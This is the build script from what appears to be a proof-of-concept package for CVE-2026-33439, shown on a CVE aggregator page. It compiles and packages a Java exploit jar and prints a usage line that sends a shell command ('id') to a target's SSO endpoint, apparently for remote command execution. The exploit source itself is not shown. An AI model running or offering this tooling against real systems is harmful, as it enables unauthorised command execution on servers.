5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / build.sh SH
#!/bin/bash
set -e
cd "$(dirname "$0")"

echo "[*] CVE-2026-33439 Echo PoC — Build Script"
echo ""

JAVAC=$(which javac 2>/dev/null || true)
if [ -z "$JAVAC" ]; then
    echo "[-] javac not found. Install a JDK (11+)."
    exit 1
fi

JDK_VER=$(javac -version 2>&1 | grep -oP '\d+' | head -1)
echo "[+] Java compiler version: $JDK_VER"

for jar in click-nodeps-2.3.0.jar xalan-2.7.1.jar serializer-2.7.3.jar javax.servlet-api-4.0.1.jar; do
    if [ ! -f "lib/$jar" ]; then
        echo "[-] Missing: lib/$jar"
        exit 1
    fi
done
echo "[+] All dependency JARs found in lib/"

echo "[*] Compiling..."
mkdir -p build
javac -cp "lib/*" -d build src/CVE_2026_33439_Echo.java
echo "[+] Compiled successfully"

echo "[*] Packaging JAR..."
jar cfm CVE-2026-33439-Echo.jar MANIFEST.MF -C build .
echo "[+] Built: CVE-2026-33439-Echo.jar"

rm -rf build
echo ""
echo "[*] Usage:"
echo "  java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'"
echo "[+] Build directory cleaned up"